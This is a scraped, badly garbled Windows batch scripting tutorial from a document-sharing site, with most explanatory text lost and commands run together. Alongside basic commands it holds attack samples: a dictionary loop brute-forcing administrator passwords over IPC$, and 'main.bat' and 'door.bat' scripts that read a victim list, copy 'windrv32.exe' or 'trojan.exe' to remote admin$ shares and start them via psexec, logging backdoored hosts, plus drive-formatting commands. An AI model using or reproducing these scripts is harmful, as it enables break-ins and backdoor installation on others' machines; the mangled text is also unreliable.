批处理(Batch)脚本学习教程.doc_第1页
批处理(Batch)脚本学习教程.doc_第2页
批处理(Batch)脚本学习教程.doc_第3页
批处理(Batch)脚本学习教程.doc_第4页
批处理(Batch)脚本学习教程.doc_第5页
已阅读5页,还剩14页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

.bat .cmdCmd.exe,. .bat .cmdCmd.exe.1. Echo echo echo on|off messageSampleecho off / echo hello world .2. Sampleecho offecho Now initializing the program,please wait a minite.format X: /q/u/autoset (format /yautoset/y)3. Goto goto label labelSampleif %1= goto noparmsif %2= goto noparmsif%1%2Rem check parameters if null show usage:noparmsecho Usage: monitor.bat ServerIP PortNumbergoto endgoto4. Rem C/*-*/,Rem MessageSampleRem Here is the description.5. Pause Pause Press any key to continue . . .Sampleecho off:begincopy a:*.* dbackecho Please put a new disk into driver Apausegoto begin A d:back A pause 6. Call call Callcall Drive:Path FileName BatchParameters :label argumentsDrive:Path FileNamefilename .bat .cmd 7. start DOSstartMIN SEPARATE 16 Windows HIGH HIGH REALTIME REALTIME WAIT parameters / 32- GUI CMD.EXE 8. choice choice /c:c:1234.: choice /c:dme defrag,mem,enddefrag,mem,endD,M,E?SampleSample.bat:echo offchoice /c:dme defrag,mem,endif errorlevel 3 goto defrag if errorlevel 2 goto memif errotlevel 1 goto end:defragc:dosdefraggoto end:memmemgoto end:endecho good bye defrag,mem,endD,M,E? d m e ifddefragmmemeendgoto endendgood bye9. If if :1if = (if %1=a format a:if %1= goto noparmsif %2= goto noparms2if exist if exist config.sys edit config.sys3if errorlevel / if not errorlevel if errorlevel 2 goto x2 DOSDOSerrorlevel0110. for for FOR %variablefor %variable|%variable in (set) do command CommandLineOptions%variable (set) command command-parameters FOR %variable %variable %i %I FOR :FOR /D %variable IN (set) DO command command-parametersFOR /R drive:path %variable IN (set) DO command command- drive:path FOR /R (.)FOR /L %variable IN (start,step,end) DO command command-para(1,1,5) 1 2 3 4 5(5,-1,1) (5 4 3 2 1)FOR /F options %variable IN (file-set) DO commandFOR /F options %variable IN (string) DO commandFOR /F options %variable IN (command) DO command usebackq :FOR /F options %variable IN (file-set) DO commandFOR /F options %variable IN (string) DO commandFOR /F options %variable IN (command) DO commandfilenameset filenameset For /F options:eol=c - ()skip=n - delims=xxx - tokens=x,y,m-n - for nth musebackq - : fisample1:FOR /F eol=; tokens=2,3* delims=, %i in (myfile.txt) do command myfile.txt for / for %i %j %k usebackq %i for %j %k tokens= tokens= 26 z Z FOR 52 FOR /F filenameset FOR /F filenameset CMD.EXE:FOR /F usebackq delims= %i IN (set) DO echo %iFOR :I - () %I%fI - %I %dI - %I %pI - %I %nI - %I %xI - %I %sI - %aI - %I %tI - %I /%zI - %I %$PATH:I - %I :%dpI - %I %nxI - %I %fsI - %I %dp$PATH:i - %I %ftzaI - %I DIR%I PATH % FOR %I MSForsample2ForWin2knet use ipipc$ password /u:administratorfor /f i% in (dict.txt) do net use ipipc$ i% /u:administratori%admindict.txti%net use findfor /f i% in (dict.txt) do net use ipipc$ i% /u:administrator|find :D:ok.txt kosample3 FOR %variablefor /f tokens=1,2,3 delims= %i in (victim.txt) do start call door.bat %i %j %ktokenssample1victim.txtdoor.bat%i %j %kcultivate.batnet useIPC$copyvictimIf errorlever =echoechodelims= vivtim.txtvictim.txt%i %j %k ip password username- cut here then save as a batchfile(I call it main.bat ) -echo offif %1= goto usagefor /f tokens=1,2,3 delims= %i in (victim.txt) do start call IPChack.bat %i %j %kgoto end:usageecho run this batch in dos modle.or just double-click it.:end- cut here then save as a batchfile(I call it main.bat ) - cut here then save as a batchfile(I call it door.bat) -net use %1ipc$ %3 /u:%2if errorlevel 1 goto failedecho Trying to establish the IPC$ connection .OKcopy windrv32.exe%1admin$system32 & if not errorlevel 1 echo IP %1 USER %2 PWD %3 ko.txtpsexec %1 c:winntsystem32windrv32.exepsexec %1 net start windrv32 & if not errorlevel 1 echo %1 Backdoored ko.txt:failedecho Sorry can not connected to the victim.- cut here then save as a batchfile(I call it door.bat) -Windrv32.exe,PSexec.exe.,:+DDOS,().,.1% 9%shiftsample1fomat.batecho offif %1=a format a:formatformat a:/q/u/auotsetecho please insert another disk to driver A.pausegoto fomatdosfomat.bat a,_sample2IPC$ip password username echo offnet use 1%ipc$ 2% /u:3% PASSWORDif errorlevel 1 echo connection failed,_.(Compound Command)1. &Usage & & .SampleC:dir z: & dir c:Ex4rchThe system cannot find the path specified.Volume in drive C has no label.Volume Serial Number is 0078-59FBDirectory of c:Ex4rch2002-05-14 23:51 .2002-05-14 23:51 .2002-05-14 23:51 14 sometips.gif2. &Usage & & .SampleC:dir z: & dir c:Ex4rchThe system cannot find the path specified.C:dir c:Ex4rch & dir z:Volume in drive C has no label.Volume Serial Number is 0078-59FBDirectory of c:Ex4rch2002-05-14 23:55 .2002-05-14 23:55 .2002-05-14 23:55 14 sometips.gif1. File(s) 14 bytes2. Dir(s) 768,671,744 bytes freeThe system cannot find the path specified.dir file:/192.168.0.1/database/backup.mdb & copy file:/192.168.0.1/database/backup.mdb E:backupbackup.mdbcopycopyIF exist 3. |Usage | | .SampleC:Ex4rchdir sometips.gif | del sometips.gifVolume in drive C has no label.Volume Serial Number is 0078-59FBDirectory of C:Ex4rch2002-05-14 23:55 14 sometips.gif1. File(s) 14 bytes0 Dir(s) 768,696,320 bytes freesamplecopy trojan.exe %1admin$system32 & if not errorlevel 1 echo IP %1 USER %2 PASS %3 victim.txt1. | Usage | | .unixsampletime /tD:IP.lognetstat -n -p tcp|find :3389D:IP.logstart ExplorerbatIP2. , sample1echo hello worldc:hello.txt (stupid example?)sample2:DLLsystem32DLLEXEDLLCMD-system32-dir *.exeexeback.txt & dir *.dlldllback.txt,EXEDLLexeback.txtdllback.txt,DLL.system32EXEDLLexeback1.txtdllback1.txt,:CMD-fc exeback.txt exeback1.txtdiff.txt & fc dllback.txt dllback1.txtdiff.txt.(FCDL

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论